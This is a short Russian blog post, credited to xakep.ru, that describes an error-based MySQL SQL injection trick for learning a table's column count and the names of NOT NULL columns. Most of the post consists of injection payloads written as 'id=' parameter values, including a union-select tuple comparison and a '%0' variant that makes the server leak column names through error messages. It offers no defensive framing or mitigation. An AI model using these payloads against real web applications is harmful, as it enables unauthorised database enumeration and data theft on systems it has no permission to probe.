Узнать имена колонок в таблице, зная ее название

Задача: Узнать имена колонок в таблице, зная ее название
Решение: Представлю недавно опубликованный на форуме sla.ckers.org юзером Paic способ, с помощью которого можно узнать имена колонок, если они имеют тип NOT NULL. Отправляем первый запрос, чтобы узнать, сколько колонок в нужной нам таблице:
id=1 and (select * from users) = (1)
В результате MySQL вернет ошибку «Operand should contain 7 column(s)». Это значит, что в таблице users 7 полей. Тогда составим логически верный запрос:
id=1 and (1,2,3,4,5,6,7) = (select * from users union select 1,2,3,4,5,6,7 limit 1)
Запрос верный и ошибки мы не увидим. А теперь о том, как узнать имена колонок. Для каждого поля в запросе поочередно подставляем последовательность символов %0 и, если у поля стоит ключ NOT NULL, мы увидим ошибку. Посмотрим на примере:
id=1 and (1,2,3,4,5,6,7) = (select * from users union select 1%0,2,3,4,5,6,7 limit 1)
В итоге видим ошибку – «Column ‘id’ cannot be null».
(c)xakep.ru

Комментариев нет:

Отправить комментарий